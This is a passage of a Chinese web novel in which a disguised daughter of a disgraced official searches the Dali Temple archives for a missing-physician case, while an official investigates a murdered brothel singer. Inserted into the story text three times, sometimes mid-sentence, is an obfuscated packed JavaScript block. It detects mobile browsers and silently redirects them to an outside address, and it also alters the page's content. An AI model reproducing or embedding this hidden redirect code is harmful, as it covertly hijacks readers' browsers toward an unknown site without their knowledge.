王雨生书房里面的布局和敛烟儿时见到的差不多,除了堆积的案卷外,无非就是一个博古架,外加一个檀香木桌案和太师椅。 敛烟凭借着记忆,很快从博古架的一角找到了一个木盒,里面便是整个案卷司的案卷目录。 里面放着一盒卷轴,敛烟取出最上面的一卷,徐徐展开的一刹那,敛烟喉头哽住了。 上面是父亲敛和安的字迹。 因为时间的原因,卷轴已经有些微微泛黄,敛烟伸出手颤抖地摩挲着卷轴上干涸的墨迹,忍不住眼泪簌簌落下。 案卷司完全是父亲一手带出来的,在没有升任大理寺卿前,他带着王雨生等若干人,生生把案卷司这个后勤部门卷成了十二司中最强势的存在。 当年案卷司人少,很多事情父亲都亲力亲为,所以这卷轴上才有他的笔迹。 敛烟抬手用力擦了擦眼泪,摇了摇头,顺着卷轴往下找申太医的案子。 她先是看到了“敛府贪墨军饷案”,而就在贪腐案的上方,“敛和安坠亡案”也赫然在列。 即便做好了心理准备,她还是被那醒目的大字刺得眼睛生疼。 敛烟深吸一口气,定了定神,往前面翻了翻,看到了“申太医失踪案”,默默记下了复杂的编号。 与此同时,房间中已经躺下的厉思远忽然披衣坐起,把身边的蜡烛点亮。 又头疼到睡不着了。 厉思远皱着眉按了按太阳穴。 要是彦儿在,自己就能睡着了。 这个想法跳出来的时候,厉思远自己都吓了一跳,他垂眸思索了一会儿,便推门走了出去。 “山平。”厉思远话音刚落,山平便出现在他身边:“去让厨房做一碗面。” 山平一愣,大人向来自律,这都已经亥时了,大人竟然还要吃东西? 然而厉思远冒出的下一句更是让他震惊到说不出话。 “做好后送到思过室,然后让他吃完以后回去睡觉吧。” 谁在思过室,再清楚不过了。 山平挠挠头,但想到自己此前多嘴的下场,冲口而出的话又不得不憋了回去。 罢了,大人说什么做什么好了。 山平拱了拱手,很快消失在了原地。 厉思远在原地站了好一会儿,忍不住簇了一下眉。 自己到底……在做什么? * 山平端着一碗热气腾腾的清汤面,穿过黑漆漆的大理寺,黑着脸站在了思过室门外。 一路上巡逻的守卫看到他的时候都是一脸疑惑,平素哪里见到山平大人端着饭走来走去,更何况是大晚上。 但也没有一个人敢问,只是脸上丝毫不加掩饰的困惑,让山平只觉得浑身不自在。 思过室门外的守卫都已经离开巡逻去了,毕竟一个小画师犯了个无足轻重的错误,也没必要让人整天看守,更何况还落了锁。 山平没有钥匙,只能端着饭碗在外面冷着脸站了一会儿,守卫才拿着钥匙大汗淋漓地赶到。 思过室的门一打开,山平一眼就看到敛烟以一种极其诡异的姿势,撅着屁股趴在墙上。 几个人面面相觑,半晌,敛烟才讪笑一声: “晚、晚上好啊,山平大人,今天……月色不错嘛哈哈哈。” 32. 探访醉月楼 十分钟前。 敛烟从王雨生的书房走出来,马不停蹄赶到对应编号的书架前,借着微弱的月光查看书架上的编号。 然而就在这时,她听见门外传来守卫的说话声。 “山哥说要思过室的钥匙,在你那里么?” “没有,是小李子最后拿走的,不是,为什么山哥这个时候要来思过室?” “哎呀谁知道!但是看他手里端着一碗面,估计是给那个小画师送吃的吧?” “啊?给彦儿送吃的?不可能吧!” 后面的窃窃私语敛烟都听不真切了,满脑子想的都是自己撬起的那一堆砖头。 案卷都来不及找,她手忙脚乱滚回了思过室,就在山平进来的最后一秒,才堪堪把最后一块砖塞进窟窿里。 敛烟心里慌乱,手上已经出了一手冷汗,所以也没有细想为什么厉思远大晚上要喊人给自己送一碗面,狼吞虎咽地吃完了。 山平盯着敛烟吃完后,想起来大人交代的另一件事,轻咳了一声:“大人说,吃饱以后就回去睡觉吧。” 山平原以为敛烟知道被提前放出去会欣喜若狂,不过想想也是,推个牌九而已,也没有下很大的赌注,倒也不至于生这么大气。 然而山平却看到敛烟愕然抬起头,脸上竟然露出了大失所望的神色。 不是,说好的五日呢? 她马上就要碰到案卷了,这不是前功尽弃了么?! 敛烟暗自懊恼,刚才若是再手脚快一些就好了,就差那么一点! 但她很快低下头,恭恭敬敬答道:“是,谢大人。” 思过室这条路是行不通了,她若是几次三番犯错,先不说会不会引起厉思远的怀疑,被赶出大理寺就得不偿失了。 看来……要寻找其他机会了。 * 第二日清晨。 敛烟正从水井里打水准备洗脸,就看到邱容急匆匆从外面跑进来:“大人叫你去书房。” 敛烟依言前往,然而还没走到书房,就远远地看到厉思远正在和一个人站在案卷司门口不知道说着什么。 再仔细一看,竟然是王雨生。 王伯伯是从小看着自己长大的,对自己的行为举止非常熟悉,敛烟并没有信心能够在他面前隐藏住身份。 敛烟脖子一缩,就要转身离开,就听见厉思远的声音幽幽传来:“彦儿,你过来。” 敛烟:…… 最怕老板忽然的关心。 没办法,敛烟只能尽量把头埋得很低,小碎步迈了过去,冲王雨生迅速行了礼,把半个身子都藏在了厉思远身后。 厉思远看着敛烟毛茸茸的脑瓜顶,还以为她因为被关进思过室不好意思,有些好笑: “你既知道错,下次便不要在府衙公然赌钱了。” 敛烟鼻子里嗯了一声,话都不敢多说。 王雨生是一个约莫四十出头的老头,他只瞥了一眼瘦瘦小小、不怎么起眼的敛烟,便和厉思远继续刚才的话题: “大人,一个小画师的画不可信啊,就算是能通过尸骨描绘出来人的长相,但若是真的有疏漏怎么办?况且时间都过去这么久了……” 这是说自己坏话呢?敛烟瞬间竖起耳朵。 厉思远沉声道:“话虽如此,但这尸骨的画像恰巧指向了醉月楼歌姬红月,而红月恰巧五年前莫名失踪,时间都能对的上。” “可是……” 厉思远摆了摆手,打断了王雨生:“好了,这件事不需要讨论了,过两日召开司主大会,你资历最老,由你来组织,我们将疑案梳理出来,进行一下分工。” 王雨生只能作揖应是,随后急匆匆离去,正眼都没瞧敛烟一眼。 敛烟抬起头悄悄觑向王雨生离去的方向,心中狐疑。 王伯伯办案向来认真,蛛丝马迹都不放过,这次指向性这样强的证据,他为什么要百般劝阻? 厉思远转过头看到敛烟偷偷用眼睛瞄王雨生的背影,想起来自己还没给她介绍大理寺各司,便顺口介绍:“刚才那位是案卷司的司主。” 他顿了顿,又补充:“大理寺上下共有十二司,各司都有不同的职责,司主掌管各司。” 厉思远背着手往前走,见敛烟只是跟在身后,始终低着头不应声,有些不自在地扯了扯袖子: “……让你进思过室并非我本意,只是大理寺中有些守卫好赌,若是让赌钱风气蔓延,于我们所有人不利。” 敛烟被刚才王雨生异常举动搞得心烦意乱,根本没听清厉思远在说什么,只是敷衍应道:“知道了大人。” 厉思远一时有些语塞,只能继续介绍起来大理寺的各司。 敛烟低着头跟着厉思远亦步亦趋走,听他给自己开始介绍大理寺的分工,心下觉得奇怪,这人怎么不让邱容介绍,偏偏要自己亲自介绍,总不能是没话找话吧? 敛烟从小就随父亲来大理寺玩儿,连哪里有狗洞都一清二楚,所以听着听着就走神了。 这时他们二人已经转到了大理寺后院,那里是杂役和丫鬟们做活计的地方,她一眼就看到了黄莹莹在那里和其他丫鬟们聊天洗衣服。 丫鬟们不知道打趣了她什么,黄莹莹瞬间红了小脸。 她们在说什么八卦呢? 敛烟和这些小丫头们混的很熟,虽然她脸上的疤痕吓人了点,但是什么胭脂水粉、各种八卦了解的头头是道,小丫头们也都非常喜欢和她聊天。 厉思远此时已经讲完了大理寺的全部布局,后院的事情他其实也不太清楚,正在绞尽脑汁想该让敛烟去书房做些什么的时候,就听见敛烟忽然开口:“大人,还有其他事吗?” 厉思远没想到敛烟忽然说话,愣了一下顺势就摇了摇头。 只见敛烟敷衍地福了福身:“我忽然想起来邱管事让我帮小丫头们做事,就不叨扰大人了。” 说完,头也不回地就朝黄莹莹跑过去。 厉思远愕然站在原地,正欲开口说什么,背后忽然传来了一个贱兮兮的声音。 “哎!我说我的厉大公子,你在这儿杂役的后院做什么呢?” 厉思远定了定神,转过头看向身后艳粉色的身影。 能穿这么高调张扬颜色的衣服,也就只有京城第一世家舒府最小的儿子,舒子野小公子了。 舒府向来规矩森严,舒子野因为最小,还是外室生的,虽然因为是男儿身被舒家认了去,但向来不受家里重视。 他也懒得管那些是非,自己整日招猫逗狗,不学无术,倒也乐得自在。 但只有厉思远知道,舒子野其实天生聪慧,尤其是在查案的时候,因为喜欢与人亲近,所以人脉颇广,有时候带上他,会有意想不到的收获。 舒子野摇起手里的折扇,歪着脑袋插着腰,就那么斜楞楞站着看向厉思远,手里还把玩着两颗圆形玉石。 厉思远轻咳了一声,迈开步子朝外面走:“没什么,走吧。” 舒子野兴冲冲凑了过来:“哎呀,没想到我们厉大公子竟然有一天要去青楼,真是可喜可贺啊可喜可贺。” 厉思远轻蹙眉头:“什么可喜可贺。” 舒子野摇头晃脑:“当然是千年铁树终开花,榆木脑袋终开窍了呗~” 说完,他还故意挑了挑眉:“若是有看上的姑娘,兄弟可以帮你!别不好意思!” 厉思远瞧着他那不务正业的样子,都气笑了:“舒子野,我们今日可是要去查案的,你到时候不要这样不正经。” 舒子野长叹一口气:“我的厉大公子啊——你要知道,你大白天去青楼就已经很奇怪了,我若是再严肃一些,那醉月楼能不能让我们进去都不好说!” 说完,还得意洋洋地摇了摇扇子:“不过,我可是醉月楼的老主顾,你放心,至少他们的老鸨红姐还是会给我点面子的!” 厉思远不置可否,自己的确没有进出青楼的经验,带上舒子野也的确方便很多,只不过…… 厉思远蹙眉,自顾自思忖着。 也不知道那歌姬红月的死,和醉月楼是否有关? * 醉月楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268735|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红姐笑盈盈地将厉思远和舒子野迎了进去,喊出来几个姑娘给两个人倒水捶腿。 姑娘们见到是名震京城的大理寺卿,又长得如此清冷矜贵,一个个都禁不住羞红了脸,你推我、我推你地走了过来。 不一会儿,厉思远身边就围满了人,舒子野尴尬地坐在一边,和旁边一位姑娘大眼瞪小眼。 那姑娘穿着舞姬样式的衣服,双眸凌厉,脸上不见笑意,双臂隐隐竟然能看到肌肉,周身气场和其他姑娘似乎格格不入。 正是当初救了敛烟一命的花奴。 舒子野“咦”了一声:“这位姑娘怎么以前没见过?” 红姐看了花奴一眼,示意她去给舒子野捏肩,含笑道:“她呀业务不是很熟练,所以就一直没有让她下来接过客,今日可是头一遭呢!” 舒子野点点头,很自然地接受了花奴的侍奉。 倒是旁边厉思远拘谨许多,他拒绝了试图来捏肩的姑娘,姑娘们只能红着脸站在旁边,偷偷觑向这位比女子还漂亮的男子。 谁都没注意到,花奴虽然手上动作听话,那一双凤眸却冷冷扫向厉思远和舒子野的颈部,不知在想些什么。 舒子野笑吟吟和红姐熟络:“红姐,你这身是绯霞阁的新款吧?” 红姐有些自豪地坐直了身子:“还是舒公子眼光独到,这可是排了很久才买到的!” 舒子野倾身向前,啧啧称赞:“不愧是红姐,什么衣服到你身上都更好看了,人都说人靠衣装马靠鞍,我们红姐那是把衣服衬的更好看了!” 红姐被他哄的心花怒放,捂着嘴笑的开心:“哎呀舒公子,几日不见,你这嘴啊还是那么甜!” 说完,她双手交叠在身前,笑着望向厉思远:“大人这次来,是想问什么呢?” 厉思远放下手中的茶盏,正色道:“不知红姐是否认识红月?” 花奴手上的动作一顿,但很快恢复如常,只是凤眸死死盯住厉思远。 红姐神色一如往常,淡淡道:“啊,红月嘛,五年前的老人了,她五年前失踪后一直没有音讯。” 厉思远点点头:“前段时间,在京郊外的静观庙一口枯井里面,我们找到了她的尸骨。” 红姐一愣:“她……死了?” 厉思远细细观察红姐的神色,不动声色地呷了一口茶:“是的,从仵作提供的线索来看,尸骨已经存在了五年之久,也就是说在红月失踪当日,便被人害死了。” “所以,我们想来了解一下,当日红月失踪的来龙去脉。” 红姐伸手捏了一下眉心,叹息道:“当年红月是我们这里的歌女,舒公子也知道的。” “但失踪那天其实并不怎么稀奇,我们当晚照例营业接客,早上便各自安歇了,大人也知道我是管理整个醉月楼的人,不可能一一核实姑娘们的行踪,直到当天正午才发现红月不见了。” 厉思远打断了她:“那你们为什么没有报官?” 红姐摇摇头,满不在乎地道: “我们楼里偶尔也会有姑娘偷偷逃跑,一个不怎么红的歌女而已,又不是头牌,我们也没必要花心思去找,对吧?” 厉思远蹙眉看向红姐,却见她神色坦然,似乎并不觉得有什么。 就在这时,舒子野忽然痛呼一声,转过头看向花奴:“哎哟我的姐姐喂,你轻点儿按,我感觉我膀子都要断了!” 所有人闻言看了过来,花奴低垂着眸子,轻声细语道:“对不住公子。” 几个人这才将注意力收回,厉思远又问了一些问题后,红姐也都一一作答,但无非就是不知道不清楚,加之楼里的姑娘们流动性极大,五年前的老人几乎都已经没有了,所以几乎是无功而返。 花奴细细观察着厉思远的一举一动,就在厉思远抬脚打算离开的时候,花奴忽然开口:“大人。” 厉思远脚步一顿,神色疑惑看向花奴。 花奴张了张嘴,手指攥紧了裙摆,攥的指尖泛白。 半晌,终究是什么都没说,而是福了福身:“大人,慢走。” 33. 潜入 晚饭后,醉月楼的姑娘们三三两两聚在一起梳妆,为恩客们的到来做好准备。 “哎,你们说花奴今天是想和厉思远大人说什么啊?” “还能是什么?无非就是想要引起大人的注意呗,故意装的和别人不一样,这点小心思还看不出来?” “啧啧,也不知道每天在清高些什么,之前听说客人不过就是摸了她一把,直接把人胳膊拧了,红妈妈可是发了好一顿脾气,还把她关了很久专门教规矩。” “嘻嘻,那今晚可是有好戏看了……” “嘘,她来啦!” 花奴耳力惊人,隔着老远便听见了这些姑娘们的窃窃私语。 醉月楼也是惯会拜高踩低的地方,自己背后没有有钱有势的恩客,又被红姐罚过,这些人用多难听的话说她都不稀奇。 因为性格孤僻,也不愿说话,所以花奴并不受欢迎,自顾自走到一处空位坐下,对着铜镜梳妆。 看着铜镜中自己的倒影,花奴禁不住想起了白日来的那位气质清冷的大人。 虽然京城盛传他断案刚正不阿,本人也看起来善良正直,但…… 思绪回转,儿时父母惨死的一幕让花奴忍不住握紧了手里的胭脂盒。 那时候家里并不富裕,但父母辛勤劳作,也算是能温饱,然而地主家里见她漂亮,想要强要自己做妾,父母不同意,地主家里便派人打死了他们,把自己强行抢了过去。 她拼死逃出来,跑到镇上那被十里八乡称为“青天大老爷”的县令家里,希望他能为自己作主。 然而,县令却假意安慰自己,转头将地主叫了过来,让他好生看管。 自此,花奴便不再相信任何一个官员。 在做了杀手以后,她更是看到了官场上因为欲望、钱财、权力所滋生出来的、犹如藤蔓般的恶意。 看似温和的人毫不留情害死自己侄子,看似刚正的人却因为同僚得了上司的一句夸奖,请他们将同僚一家绑走活埋。 厉思远……也一定不会例外。 花奴放下远山黛,细细打量自己的样貌。 只有自己不会背叛自己,所以红月的死,她要自己查。 忽地,花奴感觉到挂在胸前的木哨微微震动,她倏然抬眸,看向窗外。 风中带来微弱的哨声,但花奴却听的真切。 那声音,竟是从大理寺的方向传来的。 * 这边大理寺后院,敛烟看到黄莹莹和一群小丫鬟说话,便走了过去,也没有再管厉思远去了哪里。 谁知刚过去,就被黄莹莹兴奋地拉住胳膊。 原来是邱容拿着攒好的银子,亲自去找黄莹莹求了亲。 她知道,黄莹莹在大理寺小厨房做事,负责给各司的大人们送午饭,而黄莹莹很早便和她透露,自己很是喜欢邱容,但却因为女儿家面子薄,不好说开。 敛烟和邱容天天住在一处,早就知道邱容对黄莹莹的小心思。 她原想着给黄莹莹出主意,让她和邱容去密会后说开,而自己则借此机会替她送饭去案卷司,找到案卷。 却没想到两个人竟已经成了。 不过话说回来,邱容这小子之前还有些小心翼翼不想让莹莹知道他的心思,说是置办宅子的银子都没赚够,如今也不知道受了什么刺激,竟忽然这么主动。 而且…… 敛烟听着黄莹莹喋喋不休说邱容如何告白,心绪翻飞。 邱容前段时间还在抱怨自己攒钱慢,不知道什么时候能有底气求娶莹莹,怎么忽然银子就够了? 况且下人之间的求娶,还要主家做主才对,难道是厉思远亲自做的主? 这也太快了吧? 敛烟试图混入案卷司的计策失败,只能垂头丧气回到房内,就被厉思远叫回了书房。 厉思远从醉月楼回来,正在思考自己换哪身衣服,刚才那些姑娘的脂粉气太重,让他浑身不自在,看到敛烟哭丧着脸走过来。 “怎么了?” 厉思远清清冷冷的声音传过来,敛烟叹了口气:“大人,邱容要结亲了。” 男人眉头轻挑,语气里带着一丝不易察觉的愉悦: “嗯,自从黄莹莹来当差,他就一直嘟囔着喜欢她,既然他们两情相悦,我倒是愿意帮他们一把。” 怪不得邱容这么快就能攒好钱,原来是厉思远帮的忙! 敛烟偷偷看向厉思远。 不是吧,这个人对下人这么好?虽然是几十两对他来说并不是什么大数目,但也是好几年的工钱了。 “怎么?不高兴?”厉思远问道,不知道是不是错觉,敛烟只觉得厉思远语调有些冷。 敛烟摇摇头:“不是,只是感觉有些太快了,之前都没有听说,所以有些震惊罢了。” 厉思远嘴角勾起一抹笑,伸手解开衣带: “替我拿给婆子们洗了,今晚我要处理公务,晚饭你就在这里吃吧。” 敛烟乖巧地接过衣服,忽然动作一顿,狐疑看向厉思远。 好香的脂粉气,不是说厉思远素来不近女色吗?这气味分明是女子的味道,而且……还是好几种味道! 厉思远去逛青楼了?这个时辰? 敛烟看了看天色,又看了看手上的衣服,一时间无言。 看来传闻有时候并不可信啊,男人啊,果然还是逃不过这些胭脂俗粉。 敛烟一句话没说,但是动作却一个不落地被厉思远看在了眼里,他原本转身想去拿书的动作一停,轻咳一声: “今日,去醉月楼查案了。” 敛烟“哦”了一声,虽然不知道他为什么忽然这么说,但心里还是没有在意。 毕竟男人的嘴骗人的鬼,谁知道他说的真的假的。 但厉思远一个单身男性,他去青楼也很正常,也没必要苛责。 厉思远见敛烟一脸不相信,却簇起眉头,又急急加了一句: “你之前所画的那幅画像,那女子就是醉月楼的歌姬。” 想到自己画的那泛黄的枯骨,敛烟这才抬起头,原来那女子竟然是醉月楼的人。 “那大人找到杀害她的凶手了么?” 敛烟皱起眉头,忽然想到了那日花奴说她潜入青楼,是为了调查她友人的死因。 不会……这么凑巧吧? 厉思远摇摇头,转身从书架里拿下一本书:“陈年旧案,很多线索都消失了,我们会继续追查,但希望不大。” 敛烟点了点头,退出书房后,腾出一只手摸了摸口袋里的木哨。 对了,如果是花奴的话,凭借她的身手,是不是能带自己神不知鬼不觉潜入案卷司呢? 所以这天晚上,等厉思远睡下后,敛烟溜到大理寺后院的大槐树下,轻轻吹响了木哨。 然而木哨的声音极其轻微,几乎微弱到听不见。 敛烟用尽吃奶的力气又吹了几次,但除去自己头昏脑胀、脸色通红以外,没有任何改变。 敛烟不肯死心,坐在大槐树下等了一会儿,却不见人来,只能悻悻然走回了寝房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花奴揽住敛烟的肩,飞快穿梭在大理寺外面的廊下,躲开了一个个巡逻的守卫。 花奴轻功了得,加上敛烟本来身形瘦弱,即便多加了敛烟一个人,花奴也毫无压力。 两个人很快便借着黑暗的遮盖,眼看就要来到案卷司门口。 然而花奴搭在敛烟肩上的手忽地一紧,还没等敛烟反应过来,花奴便拉着她迅速闪身躲进了旁边浓密的灌木丛中,并伸手捂住了敛烟的嘴。 “放平呼吸。”花奴的气音在耳畔响起,敛烟连忙平复有些急促的呼吸,尽量让自己心跳的不那么快。 很快,她就听见了一个极其熟悉的声音。 “今晚,有什么异常么?” 敛烟的心一下子提到的嗓子眼儿。 这声音,是厉思远。 他为什么会出现在这里?明明自己已经伺候他歇下了啊? 来不及多想,另一个声音让敛烟霎时屏住呼吸。 山平恭恭敬敬的声音响起:“一切如常,大人放心出门吧。” 出门?这个时辰? 敛烟思绪百转千回,却大气不敢喘,山平的能力她是知晓的,自己若是喘气重了那么一些,或许都会被他发现。 想到这里,她忍不住看了花奴一眼,怪不得她要捂住自己的嘴,江湖中人有屏气龟息的法子,但她作为普通人没有,想来花奴应该早就听出来山平是高手了。 厉思远又嘱咐了山平几句后,便匆匆离去,山平也朝反方向离开了,两个人离开了好一会儿,花奴才拉着敛烟从草丛中走了出来,见四下无人后,才朝案卷司的方向走去。 然而就在两个人离开后不久,黑暗中走出了一个高大黝黑的身影。 山平冷冷盯着花奴和敛烟消失的方向,摸上腰间的佩剑,抬步跟了上去。 34. 暴露 夜晚的案卷司非常安静,敛烟原以为打开案卷司门上的锁还要花上一番功夫。 但谁知花奴只消调动一丝内力,那巨大的铜锁竟轻而易举便被卸了下来,看的敛烟是啧啧称奇。 两个人悄无声息潜入进去,敛烟轻车熟路找到了书架。 她取下案卷的时候看偷偷觑了一眼花奴。 却见她没有靠近,也没有好奇自己到底要看什么,只是安静地伫立在窗前看向外面,似乎在看有没有人来,也似乎……在想什么。 敛烟也终是放心地将放着太医失踪案案卷的盒子放在地上,轻轻打开来。 但当她展开那案卷的时候,却深深皱紧了眉头。 失踪的这位太医名为申实,失踪前不久才升任太医院院判,家中妻子刚刚产子,本是大喜的日子,却忽然不打招呼,毫无征兆离开,甚至连自己的包袱都没有收拾。 就这样离奇的案子,案卷中却只寥寥数笔,将这位申太医定性为了意外身亡。 而翻阅证据材料,也就仅仅只有一个路过的农户,曾见过申太医在附近的永昌山,被猛虎追逐,连尸骨都没有,就凭借这句模棱两可的话结了案。 这绝对不是父亲的风格。 敛烟曾见过父亲办案,一点点从平常人看来无足轻重的线索,他都要追查到底。 更何况是连她都能一眼看出来的疑点! 敛烟摩挲了一下案卷,忽然执起案卷放在月光下仔细查看。 不对,这是新墨。 申太医失踪的案子已经发生了两年多,而这个墨绝对是近几个月更换的。 一个令敛烟禁不住恐慌的念头瞬间占据了她的心神。 厉思远是近几个月走马上任的,而这案卷偏偏是这几个月被人换掉的,难不成…… “可惜了,一代忠臣……” 厉思远的叹息声在耳边响起,敛烟摇了摇头。 不可能,厉思远绝对不会做这种事的。 但……若是知人知面不知心呢? 然而就在她思绪翻飞的时候,花奴忽然耳朵微微一动,美目瞬间睁大,右脚后撤,身子猛地一侧,一道凌厉的剑光擦着她鬓边的碎发铮然闪过。 敛烟看过来的时候,正看到山平举着一把长剑,胳膊伸的笔直,目光却看过来,和她四目相对! 敛烟的心猛地一沉,被发现了。 一切发生在电光火石之间。 花奴迅速朝旁边闪出两步,抬手抽出腰间软鞭,而此时山平也掉转剑尖,直逼花奴命门而去! 就在那剑尖逼到面前时,花奴的软鞭朝前面一挡,铮地一声,两个兵器撞在一起,在黑暗中闪过一丝火花。 山平有些惊讶于花奴的身手,语气却冷冰冰的:“阁下何人?” 花奴不说话,只是伸向腰间的药粉袋,试图让山平睡过去。 然而山平却早就知道她要做什么,另一只手向前,将花奴的手腕死死抓住,两个人一时间僵持不下。 敛烟这时才从被人发现的震惊中挣脱出来,就见花奴抬起脚,裙摆飘忽中她瞥见了花奴腿上的一排尖刺。 如果山平受伤的话,厉思远他…… 大脑嗡地一下,敛烟没有多加思考,大喊一声:“花儿姑娘!住手!” 花奴的动作因为敛烟的声音一停,山平这才发现花奴腿上的小动作,连忙后撤两步拉开距离。 趁这功夫,敛烟跑过去伸开双臂,挡在山平和花奴之间。 敛烟抬头望着山平:“山平大人,整件事是我出的主意,和她无关。” 说完她朝花奴使眼色想让她离开,却听见山平瓮声瓮气道:“这件事如何处置,还需禀报大人,在此之前,谁都不能离开这里。” 话音刚落,门外便呼啦啦围过来了不少守卫。 看到敛烟的一瞬间,一些与她相熟的守卫忍不住倒吸一口凉气。 “是彦儿吗?真的是他?” “亏得大人那么相信他,我就说,一个来路不明的小画师,混进大理寺肯定有什么不可告人的目的!” 想到厉思远失望的神色,敛烟没来由的心里酸涩,手上却忽然一空,她抬起头就看到申太医案件的卷轴被山平握在了手里。 他打开卷轴,神色复杂地看了敛烟一眼后,抬起右手:“把他们带走,等候大人发落。” * 晨光初明,邱容心满意足地从榻上起来,最近和黄莹莹说开以后,他惊喜地发现莹莹竟然也同他抱有一样的心思。 至于说为什么黄莹莹总是愿意围着彦儿转,就是为了想多看看自己,但又不好意思和自己搭话,这才和彦儿多亲近一下。 一想到自家大人递给自己鼓鼓囊囊钱袋,让自己好好对待心上人的模样,邱容便觉得大人的形象更加光明伟岸起来。 大人真是……太帅了! 我要给大人当一辈子的管事!!! 邱容斗志昂扬地端起铜盆,扭过头却发现对面的床榻是空着的。 奇怪,彦儿跑哪去了? 邱容挠挠头,大人向来没有让下人在外守夜的习惯,难道又变了? 罢了罢了,反正能把大人伺候好就行了。 邱容不以为意地摇摇头,转身打着哈欠照例去水井打水。 然而就在路上,他却遇到了穿着斗篷从外面风尘仆仆回来的厉思远。 邱容知道大人偶尔会因为一些事情晚上出门,便也没觉得稀奇。 然而等大人走近他正要行礼拜见的时候,却看到厉思远极其难看的脸色,连正眼都没瞧他一眼,径直朝大理寺的刑狱司奔去。 邱容吓了一跳,厉大人向来喜怒不形于色,从没见过他情绪波动如此大。 这是……怎么了? 大理寺刑狱司。 敛烟坐在冰冷的地面上,因为一夜没睡好,此时整个人也昏昏沉沉的,而对面的花奴则盘起腿打坐,也不知道在做什么。 敛烟有些不自在地开口:“花儿姑娘,把你牵扯进来了真是不好意思。” 她也隐隐庆幸,自己并没有把真实情况告诉花奴,她最多就只有一个擅闯大理寺的罪名,罪不至死。 而自己…… 敛烟垂眸看了看自己的手掌心,又紧紧握住。 只能……赌一把了。 这时,守卫走了过来,隔着监狱栅栏指着敛烟,不客气道:“大人传你过去问话。” 敛烟眼观鼻鼻观心,忽略了守卫鄙夷的视线,原以为守卫会带自己去平日里厉思远议事的正堂,却没想到守卫竟把自己径直带到了刑狱司旁边的一个小房间。 敛烟都做好了被厉思远坐在高台上拍惊堂木质问的准备,然而看到厉思远坐在房间里喝茶,一时间竟有些不知所措起来。 守卫离开后,敛烟规规矩矩跪在地上,也不敢去看厉思远。 一盏茶功夫过后,敛烟的腿都有些跪麻了,厉思远才缓缓开口:“你为什么要看申实失踪的案子?” 平静的、毫无波澜的,听不出一丝异样情绪。 但敛烟却莫名觉得,这房间的温度似乎有些低。 她深吸一口气,没有正面回答,而是抛出一个疑问:“大人,觉得敛大人是忠臣?” 听到敛和安的名号,厉思远拿着茶盏的手一顿,眯眼看着眼前小小的人儿,低垂着脑袋,细白的脖颈如天鹅一样,让人忍不住想要折断。 内心一丝隐秘的期待被带动,他定定地落在那和敛家大小姐有着几分相似的侧脸上:“你是为了敛府的案子?” “为什么?” 茶盏落在旁边的案几上,厉思远又问:“他们家案子和申太医的失踪,有什么关系?” 敛烟抬起头,目光定定落在厉思远探究的神情上,却莫名觉得厉思远像是在期待什么似的,目不转睛望着自己。 敛烟被看的有些心虚,低下头去: “不瞒大人,小人、小人原来是敛府的人,敛大人在出事之前,一直在调查申太医失踪的案子,小人只觉得两件事情或许有什么隐秘的联系。” “小人原本只是想安稳度日,却在江南意外遇到了大人,机缘巧合之下来到大理寺,就想着找一下申太医的案卷看一下,看能不能发现什么线索。” “但是小人知道作为一个下人,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268737|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有资格去翻阅案卷,但实在是想要知道敛家案子的隐情,这才出此下策。” 啪嗒。 敛烟听见杯盖和茶杯碰撞的声音,她狐疑抬起头,就看到厉思远目光灼灼望向自己,语气似乎都变得柔和了: “你……原来是敛府的人?” 敛烟点点头。 厉思远语气更加温柔,他垂下眼帘,用视线细细描摹着敛烟的模样,轻声问道:“你原来是敛府的什么人?” 不知道是不是敛烟的错觉,她总觉的厉思远像是在期待她的回答一样。 她想不通,只能硬着头皮答道:“回大人,小人原来是敛府的下人,是在敛家小姐身边伺候的。” 为什么说是自己身边的下人,若是厉思远问起一些细节,自己也好答出来。 虽然父亲母亲的喜好自己也知道,但许多起居的细节还是家仆最为清楚,如果厉思远问的话很可能会露馅。 所以把自己说成是敛家大小姐的下人,最为稳妥。 敛烟回答后,房间中便陷入了长久的沉默。 敛烟大气不敢喘,她其实在赌,赌厉思远也觉得敛家的案子有问题,赌他相信父亲是一位忠臣。 否则,自己作为罪臣家里的旧仆,一定会被送到官府,乱棍打死。 冷汗涔涔冒了出来,敛烟能够感受到厉思远打量的目光,她不敢抬头,只能匍匐在地上等候发落。 半晌,敛烟似乎听到厉思远很轻很轻地叹了口气,隐约似乎还有着失望,敛烟也不确定自己是不是听错了。 随后,厉思远问了敛烟几个问题,都是关于敛府饮食起居的细节,虽然敛烟不知道厉思远怎么会这么了解,但还是一一做了回答。 见敛烟回答的毫无破绽,他才开口:“你当真觉得申太医的失踪和敛家的案子有关?” 敛烟笃定点头:“小人曾听到老爷和夫人谈论过这起案子,老爷对这起案子非常上心,而且也和夫人提到过这件案子有了些许眉目。” “但是很快老爷就出了意外,不过两月家里便出现了军饷,所以小人怀疑,这起案子背后必然有隐情。” “而且……”敛烟顿了顿:“小人刚才借着月光看了这案卷,案卷内容疑点重重,上面的墨痕,却是新的。” 厉思远闻言抬手看了看案卷上的字迹。 